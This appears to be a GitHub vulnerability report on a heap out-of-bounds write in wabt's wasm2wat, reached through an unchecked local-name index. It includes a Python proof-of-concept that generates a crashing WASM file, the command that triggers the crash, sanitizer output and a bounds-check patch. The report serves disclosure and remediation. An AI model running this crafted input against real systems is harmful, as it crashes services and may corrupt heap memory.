Skip to content

Heap Buffer OOB Write in wabt MakeTypeBindingReverseMapping #2743

@arthurscchan

Description

@arthurscchan

Description of the vulnerability and its impact

A crafted WASM binary with a name section whose local-names subsection supplies individual
local_index values exceeding the function's actual parameter and local count causes an
out-of-bounds heap write in wasm2wat. The binary reader's OnLocalNameLocalCount check
validates only how many name entries appear, not the range of their individual index values.
The unchecked local_index is inserted into func->bindings without bounds validation
(src/binary-reader-ir.cc:1779) and later reaches MakeTypeBindingReverseMapping in
src/ir.cc:609, where a std::vector<std::string> is subscripted at the attacker-controlled
index past the end of its allocation.

The only guard is an assert() at ir.cc:608 — compiled out with -DNDEBUG in all
Release builds — leaving a raw, unchecked heap write in production. The write offset is
local_index × sizeof(std::string) (32 bytes per index) past the vector base, and the
write value is the attacker-supplied name string, making this a strong controlled-write
primitive.

Impact: Reliable DoS (process abort) in all builds. In Release builds without ASAN,
heap corruption can overwrite adjacent objects; a skilled attacker with control over heap
layout could potentially escalate to arbitrary code execution.

First faulty condition: src/binary-reader-ir.cc:1779func->bindings.emplace(..., Binding(local_index)) with no per-index bounds check.

Crash/write site: src/ir.cc:609(*out_reverse_mapping)[binding.index] = name.


How to reproduce

# Generate a 42-byte WASM with local_index=1 for a 1-param function (valid range: [0,0])
python3 << "EOF"
def leb128u(n):
    out = []
    while True:
        b = n & 0x7F; n >>= 7
        if n: b |= 0x80
        out.append(b)
        if not n: break
    return bytes(out)

def wstr(s):
    b = s.encode(); return leb128u(len(b)) + b

header       = b'\x00asm\x01\x00\x00\x00'
type_section = b'\x01\x04\x01\x60\x00\x00'
func_section = b'\x03\x02\x01\x00'
func_body    = b'\x01\x01\x7f\x0b'
code_payload = b'\x01' + leb128u(len(func_body)) + func_body
code_section = b'\x0a' + leb128u(len(code_payload)) + code_payload

local_names_data = leb128u(1) + leb128u(0) + leb128u(1) + leb128u(0x1000000) + wstr("a")
subsection   = b'\x02' + leb128u(len(local_names_data)) + local_names_data
name_payload = wstr("name") + subsection
name_section = b'\x00' + leb128u(len(name_payload)) + name_payload

wasm = header + type_section + func_section + code_section + name_section
with open('poc.wasm', 'wb') as f: f.write(wasm)
EOF

ASAN_OPTIONS="detect_leaks=0" wasm2wat poc.wasm -o /dev/null

Debug build (-DCMAKE_BUILD_TYPE=Debug) output (assert fires):

wasm2wat: src/ir.cc:608: void wabt::MakeTypeBindingReverseMapping(size_t, const BindingHash &, std::vector<std::string> *): Assertion `static_cast<size_t>(binding.index) < out_reverse_mapping->size()' failed.
Aborted

Release build (-DCMAKE_BUILD_TYPE=Release) output:

AddressSanitizer:DEADLYSIGNAL
=================================================================
==1534902==ERROR: AddressSanitizer: SEGV on unknown address 0x5030200027d0 (pc 0x7f9d0f36d123 bp 0x7fff0cf93f00 sp 0x7fff0cf93ed0 T0)
==1534902==The signal is caused by a READ memory access.
    #0 0x7f9d0f36d123 in std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::_M_assign(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>> const&) (/lib/x86_64-linux-gnu/libstdc++.so.6+0x16d123) (BuildId: 8d4f2235ec34ae33c412aa436c18ef4618f2efa6)
    #1 0x56183c724e1a in std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::assign(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>> const&) /usr/bin/../lib/gcc/x86_64-linux-gnu/14/../../../../include/c++/14/bits/basic_string.h:1619:8
    #2 0x56183c724e1a in std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::operator=(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>> const&) /usr/bin/../lib/gcc/x86_64-linux-gnu/14/../../../../include/c++/14/bits/basic_string.h:819:15
    #3 0x56183c724e1a in wabt::MakeTypeBindingReverseMapping(unsigned long, wabt::BindingHash const&, std::vector<std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>, std::allocator<std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>>>*) ./wabt/src/ir.cc:609:43
    #4 0x56183c6b4c3d in wabt::(anonymous namespace)::NameApplier::VisitFunc(unsigned int, wabt::Func*) ./wabt/src/apply-names.cc:480:3
    #5 0x56183c6b4c3d in wabt::(anonymous namespace)::NameApplier::VisitModule(wabt::Module*) ./wabt/src/apply-names.cc:554:5
    #6 0x56183c6b4c3d in wabt::ApplyNames(wabt::Module*) ./wabt/src/apply-names.cc:577:18
    #7 0x56183c6b0d8c in ProgramMain(int, char**) ./wabt/src/tools/wasm2wat.cc:129:31
    #8 0x7f9d0ee2a337 in __libc_start_call_main csu/../sysdeps/nptl/libc_start_call_main.h:58:16
    #9 0x7f9d0ee2a3fa in __libc_start_main csu/../csu/libc-start.c:360:3
    #10 0x56183c5d46d4 in _start (./wabt/build/wasm2wat+0x706d4) (BuildId: 612cf9eca12828173cb5d7d7bb85407c24500191)

AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV (/lib/x86_64-linux-gnu/libstdc++.so.6+0x16d123) (BuildId: 8d4f2235ec34ae33c412aa436c18ef4618f2efa6) in std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::_M_assign(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>> const&)
==1534902==ABORTING

Which WABT tools or library functions are affected

  • Primary tool: wasm2wat
  • First faulty condition: BinaryReaderIR::OnLocalNamesrc/binary-reader-ir.cc:1779
  • Write site: MakeTypeBindingReverseMappingsrc/ir.cc:609
  • Also affected: any other tool or library caller that invokes ApplyNames() after
    reading a WASM binary with a name section — including wat-writer.cc, c-writer.cc,
    generate-names.cc, and binary-writer.cc, all of which share the same vulnerable function.

Which WebAssembly features must be enabled

None. The WASM name section is a standard custom section processed by default.
No --enable-* flags are required to trigger this vulnerability.


Suggested fix

Add a per-index bounds check in OnLocalName, matching the existing count check in
OnLocalNameLocalCount:

--- a/src/binary-reader-ir.cc
+++ b/src/binary-reader-ir.cc
@@ -1771,6 +1771,12 @@ Result BinaryReaderIR::OnLocalName(Index func_index,
   if (name.empty()) {
     return Result::Ok;
   }
   Func* func = module_->funcs[func_index];
+  Index num_params_and_locals = func->GetNumParamsAndLocals();
+  if (local_index >= num_params_and_locals) {
+    PrintError("local name index (%" PRIindex ") out of range (%" PRIindex ")",
+               local_index, num_params_and_locals);
+    return Result::Error;
+  }
   func->bindings.emplace(GetUniqueName(&func->bindings, MakeDollarName(name)),
                          Binding(local_index));
   return Result::Ok;

Attribution

Reported by: Anthropic security team
Analysed by: AdaLogics / Claude (Anthropic)

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type
    No fields configured for issues without a type.

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions